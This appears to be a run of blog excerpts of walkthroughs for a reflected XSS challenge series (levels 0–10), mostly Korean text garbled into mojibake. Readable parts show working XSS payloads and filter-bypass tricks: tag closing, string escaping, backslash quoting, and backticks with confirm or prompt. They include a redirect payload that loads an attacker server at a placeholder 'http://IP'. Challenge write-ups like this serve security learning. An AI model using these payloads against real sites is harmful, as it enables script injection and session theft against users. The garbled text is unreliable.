level 10๋จ๊ณ๋ฅผ ์งํํ๊ฒ ์ต๋๋ค. ํ๋ฉด์ ๋ณด์ด๋ ํ๋ฉด์ ์ด์ ๊ณผ ์ ์ฌํ ๋ชจ์ต์ ๋์ฐ๊ณ ์์ต๋๋ค. ๋ด๋ถ ์ฝ๋๋ฅผ ๋จผ์ ์ดํด๋ณด๋๋ก ํ๊ฒ ์ต๋๋ค. 10๋จ๊ณ์์๋ a์ b๋ผ๋ ๋ณ์์ ๊ฐ์ด ์ ์ธ๋์ด ์๋ ์ํ์ ๋๋ค. ์ฐ๋ฆฌ๊ฐ ์ ๋ ฅํ Payload๋ "a" ๋ณ์์ ๋ด๊ธฐ๋๋ก ๋์ด์๋๋ฐ document.write ์์ฑ์ ํตํด ๊ฐ์ด ์คํ๋๋ ๊ฒ์ ๋ณด์ค ์ ์์ต๋๋ค. document.write()์ ๊ธฐ๋ฅ์ Document Object์ ํจ์๋ก ์ธ์ ๊ฐ์ ์น ๋ธ๋ฌ์ฐ์ ํ๋ฉด์ ํ ์คํธ ํ์์ผ๋ก ์ถ๋ ฅํด์ฃผ๋ ๊ธฐ๋ฅ์ ๊ฐ์ง๊ณ ์์ต๋๋ค. ';{document.location.href="http://IP"}// 9๋จ๊ณ์์ ์งํํ ๋ฐฉ๋ฒ๋๋ก a๋ณ์๋ฅผ ๋ซ์ ๋ง๋ฌด๋ฆฌ(;)ํด์ฃผ๊ณ ๊ณต๊ฒฉ์ ์๋ฒ๋ฅผ ๋ก๋์์ผ ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋๋๋ก ํด์ฃผ๋ฉด ๋ ๊ฒ ๊ฐ์ต๋๋ค. ๋ค..
ํ๋์ ์ฌ๋ฆฌ์ง ๋ชปํ๋ XSS ์ฑ๋ฆฐ์ง๋ฅผ ์ค๋๋ง์ ๋ค์ ํ๊ฒ ๋์์ต๋๋ค. ์ ๊ฐ ์ฌ๋ฏธ์๊ฒ ํ๊ณ ์๋ Alexander Korznikov์ XSS ์ฑ๋ฆฐ์ง์ ์ฅ์ ์ ๊ธฐ์กด์ XSS ๊ฒ์๊ณผ๋ ๋ค๋ฅด๊ฒ ํํ ๋ฒ์ ์ฌ๋ฆฐ ์ฌ๋๋ค์ด ๋ง์ด ์์ผ๋ฉฐ(๊ตญ๋ด์์๋ ๋ณธ ์ ์ด ์๋ค์..) ์ถ์ ์์ ์๋๋ฅผ ์์์ ํ์ ํ๊ณ ์ผ๋ง์ ํํธ ์์ด ๊ณต๋ต ํ๋ค๋ ์ ์์ ๋์ฑ ์ ์ฐฉ์ด ๊ฐ๊ณ ๋ชฐ์ ์ด ๋๋ ๊ฑฐ ๊ฐ์ต๋๋ค. ๊ณต๋ต ํ์ด์ง๋ ๊ต์ฅํ ์ฌํํฉ๋๋ค. Reflected ๋ฐฉ์์ผ๋ก ํ๋ผ๋ฏธํฐ์ ์ ์ ํ Payload๊ฐ ์ฝ์ ๋ ๊ฒฝ์ฐ ๋ค์ด์ผ๋ก๊ทธ ํ์ ์ฐฝ์ ๋์ฐ์ค ์ ์์ต๋๋ค. ์ด์ ๋จ๊ณ(8-1) ์ ์์ค์ ์ ์ฌํ ํํ์ ์ฝ๋๋ฅผ ๊ฐ์ง๊ณ ์์ต๋๋ค. b๋ผ๋ ๋ณ์์๋ "1"์ด ์ ์ธ๋์ด ์๊ณ if ์กฐ๊ฑด๋ฌธ์ ํตํด ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋ ์ ์๋๋ก ๊ตฌ๋ฌธ์ ์์ฑ์์ผ์ผ ๋ฉ๋๋ค. b์ ๋ณ์..
์กฐ๊ฑด๋ฌธ์ด ์ฌ์ฉ๋ 8 Level์ ์ด์ด์ 8-1 Level๊น์ง ํ๋ฒ ํ์ด๋ณด๋๋ก ํ๊ฒ ์ต๋๋ค. ๋ง์ฐฌ๊ฐ์ง๋ก ๋งํฌ ํ๊ทธ๋ ์ ๋ ฅ์ ๋ฐ๋ ํผ์ด ๋ฐ๋ก ์กด์ฌํ์ง ์์ผ๋ฉฐ URL ํ๋ผ๋ฏธํฐ์ ์ ๋นํ ๋ฌธ์์ด์ ์ฝ์ ํ๋๋ก ํ๊ณ ์์ต๋๋ค. ํ์ด์ง ์์ค๋ฅผ ๋ณด์๋ฉด 8 Level ์์ค์ ์ ์ฌํด ๋ณด์ด์ง๋ง ์กฐ๊ธ ๋ค๋ฅธ ํํ๋ฅผ ๊ฐ์ง๊ณ ์์ต๋๋ค. ์คํฌ๋ฆฝํธ์ฝ๋๋ ๋ง์ฐฌ๊ฐ์ง๋ก ์คํ๋์ง ์๊ณ ์์ผ๋ฉฐ ์ด์ ๋ ๋ฐ๋ก "์ค ๋ฐ๊ฟ"์ ์์ต๋๋ค. ์ด 2๊ณณ์ ์ค๋ฐ๊ฟ ์ฒ๋ฆฌ๊ฐ ๋์ด ์์ต๋๋ค. if ( b == 2 ){a = "Your_Payload"} ๋นจ๊ฐ์์ผ๋ก ์ฒ๋ฆฌ๋ ๋ถ๋ถ์์ค ๋ฐ๊ฟ์ผ๋ก ์ธํด ์ ๋ ฅ๋ ๋ฌธ์์ด์ด ์ค๋ฅ๊ฐ ๋ฐ์ํ๊ณ ์์ต๋๋ค. ๋ง์ง๋ง ๋ฌธ๋จ๋ผ์ธ์ " } " ๋ซํ์ ์ ๋ง๊ฒ ๋ฌธ์์ด ์กฐ์ ์ ํ๋ฉด ๋๊ฒ ์ง๋ง ์ฒซ ๋ฒ์งธ " { " ์ค ๋ฐ๋์ผ๋ก ์ธํด else ์กฐ๊ฑด๋ฌธ์ด ์ ๋๋ก..
์ ๋จ ๊ณ์ ๋ง์ฐฌ๊ฐ์ง๋ก URL์ ์ ๋ ฅ๊ฐ์ ๋ฐ์ ํ์ ์ฐฝ์ ๋์ฐ๋๋ก ํ๊ณ ์์ต๋๋ค. ์ด๋ค ๊ฒ์ฆ์ ํ๋์ง ํ์ธํ๊ธฐ ์ํด ์ ๋จ๊ณ์์์ ์ฝ๋๋ฅผ ์ฝ์ ํ์ฌ ํ์ด์ง์ ์์ค๋ฅผ ํ์ธํด ๋ณธ ๊ฒฐ๊ณผ ์ด๋ฒ์๋ '(์ฑ๊ธ ์ฟผํฐ)๋ฅผ --> \' ํํ๋ก ๋ฐฑ ์ฌ๋์๋ฅผ ์ถ๊ฐ๋ก ๋ถ์ฌ์ ๊ฒ์ฆํ๊ณ ์์ต๋๋ค. ํด๊ฒฐ ๋ฐฉ๋ฒ 1. "(๋๋ธ์ฟผํฐ) 2. \(๋ฐฑ์ฌ๋์ ํ์ฉ) ์ฐ์ ('guleum') --> (\'guleum\')๋ก ์นํ๋๊ณ ์๊ธฐ ๋๋ฌธ์ '(์ฑ๊ธ์ฟผํฐ) --> "(๋๋ธ์ฟผํฐ)๋ก ๋ณ๊ฒฝํ์ฌ ์ฌ์ฉํด์ฃผ์๋ฉด ๋ฉ๋๋ค. ๊ทธ๋ค์์ด ์ค์ํฉ๋๋ค. ํ์ด์ง ์์ค๋ฅผ ๋ณด์๋ฉด a ๋ณ์์๋ '(์ฑ๊ธ ์ฟผํฐ)๊ฐ ๊ธฐ๋ณธ์ ์ผ๋ก ํ๋๊ฐ ๋ถ์ด์๊ธฐ ๋๋ฌธ์ ๋ซ์ ๋๋ '(์ฑ๊ธ ์ฟผํฐ)๋ฅผ ์ฌ์ฉํด์ ๋ฌถ์ด์ค์ผ ๋ฉ๋๋ค. ์ด๋ด ๋๋ \(๋ฐฑ ์ฌ๋์)๋ฅผ '\' ์ฑ๊ธ ์ฟผํฐ๋ก ๋ฌถ์ด์ฃผ๋ฉด \(๋ฐฑ์ฌ๋์)์ ์ํด ..
์ ๋จ๊ณ์์ ์ฌ์ฉํ ๊ณต๋ฐฑ ์นํ ๊ตฌ๋ฌธ์ ์ฝ์ ํด๋ณธ ๊ฒฐ๊ณผ ์ฑ๊ณต์ ์ผ๋ก ์คํ๋์ง ์๊ณ ์์ต๋๋ค. ์ด๋ ํ ๊ตฌ๋ฌธ์ ๊ฒ์ฆํ๊ณ ์๋์ง ์์ค๋ฅผ ํตํด ํ์ธํด ๋ณธ ๊ฒฐ๊ณผ "()(๊ดํธ)"์ ํ์ ์ฐฝ์ ๋์์ฃผ๋ "alert"๊ฐ ํํฐ๋ง๋๊ณ ์์ต๋๋ค. ๊ดํธ์ ๊ฒฝ์ฐ ์ ๊ฑฐ๋ฅผ ํ๊ณ ์์ผ๋ฉฐ alert๋ -> Alert๋ก ๋ณ๊ฒฝ์ํด์ผ๋ก์จ ์๋ฏธ ์๋ ๊ตฌ๋ฌธ์ ๋ง๋ค๊ณ ์์ต๋๋ค. ๊ดํธ ์ ๊ฑฐ์ ์ฝ๋๋ฅผ ์ฐํํ ์ ์๋ ๋ฐฉ๋ฒ์ ` --> "back-tick" ๋ฐฑํฑ์ ์ฌ์ฉํด์ฃผ์๋ฉด ๋ฉ๋๋ค. ๋ํ alert๋ฅผ ํผ๋์ํค๊ณ ์๊ธฐ ๋๋ฌธ์ ์ด๋ฒ ๋ฌธ์ ์๋ "confirm"์ด๋ "prompt"๋ก ๋ณ๊ฒฝํ์ฌ ์ฌ์ฉํด์ฃผ์๋ฉด ๋ฉ๋๋ค. ์ฑ๊ณตํ ํ์ด์ง ์์ค๋ฅผ ํ์ธํด๋ณด์๋ฉด ๊ฒ์ฆํ๋ alert ๋์ confirm์ผ๋ก ๋์ฒดํ๊ณ ๊ดํธ๋ฅผ ๋์ ํ ๋ฐฑ ํฑ์ผ๋ก ๊ตฌ๋ถ์ ํด์คฌ๊ธฐ ๋๋ฌธ์ ํ์ ์ฐฝ ์ฑ๊ณต์ ์ผ๋ก ..
์ ๋จ๊ณ์์ ์ฌ์ฉํ ์ฌ์ฉ๋ 2๊ฐ์ ์ฝ๋๋ฅผ ๋ณด๋ฉด ๋น์ทํ์ง๋ง ์กฐ๊ธ ๋ค๋ฅธ ํํ๋ฅผ ๊ฐ์ง๊ณ ์์ต๋๋ค. ์ฒซ ๋ฒ์งธ๋ src=''(์ฑ๊ธ ์ฟผํฐ 2๊ฐ)๋ก ๋ฌถ์ด์ฃผ๊ณ /(์ฌ๋์)๋ฅผ ํตํด ๊ตฌ๋ถ์ ํด์ฃผ์์ง๋ง src=""(๋๋ธ ์ฟผํฐ 2๊ฐ)๋ฅผ ์ฌ์ฉํ ๊ฒฝ์ฐ /(์ฌ๋์) ์์ด HTML์์์ ๊ตฌ๋ถ์ ํด์ค์ ์ถ๊ฐ ๋ฌธ์๋ฅผ ์ฌ์ฉํ์ง ์์๋ ๋ฉ๋๋ค.
์ค๋ช (๋ฒ์ญ) Level 0์ ์ด์ด์ ๋ค์ ๋จ๊ณ์ธ Level 1์ ํด๊ฒฐํด๋ณด๋๋ก ํ๊ฒ ์ต๋๋ค. ์ ๋จ๊ณ์์ ์ฌ์ฉํ๋ ๊ธฐ๋ณธ ๊ตฌ๋ฌธ์ ์ฝ์ ํด๋ณด๋ฉด javascript ๊ฐ ์คํ๋์ง ์๊ณ ์์ต๋๋ค. ์ ๋ ฅํ๋ ์ฝ๋๊ฐ ์ด๋ป๊ฒ ์ฝ์ ๋์ด ์๋์ง ํ์ธํด๋ณด๋ฉด ์ฝ๋๊ฐ ์ ๋๋ก ๊ตฌ๋ถ๋์ด ์์ง ์์ต๋๋ค. ๋ณดํต XSS ์ทจ์ฝ์ ์ ์ฐพ์ ๋ ์์ฃผ ์ฌ์ฉํ๋ ๊ธฐ๋ฒ์ธ "> ํด๋ก์ง ํ๊ทธ๋ฅผ ์ฌ์ฉํด์ ์ด์ ๊ตฌ๋ฌธ์ ๋ซ์์ฃผ๊ณ ์ง๊ธ๋ถํฐ ์ ๋ ฅ๋ ๊ตฌ๋ฌธ์ ์ ์ธํ๊ฒ ๋ค๋ ๋ฐฉ์์ ์ด์ฉํ๋ฉด ๋ฉ๋๋ค. ํ์ ์ฐฝ์ด ์ฑ๊ณต์ ์ผ๋ก ๋ด์ผ๋ฉด ํ์ด์ง ์์ค๋ฅผ ํตํด ๊ตฌ๋ฌธ์ด ์ด๋ป๊ฒ ๋์๋์ง ํ์ธํด ๋ณผ ์ ์์ต๋๋ค. alert("guleum");์ผ๋ก ๋ช ํํ๊ฒ ๊ตฌ๋ถ์ด ๋์์ต๋๋ค. Exploit Code ">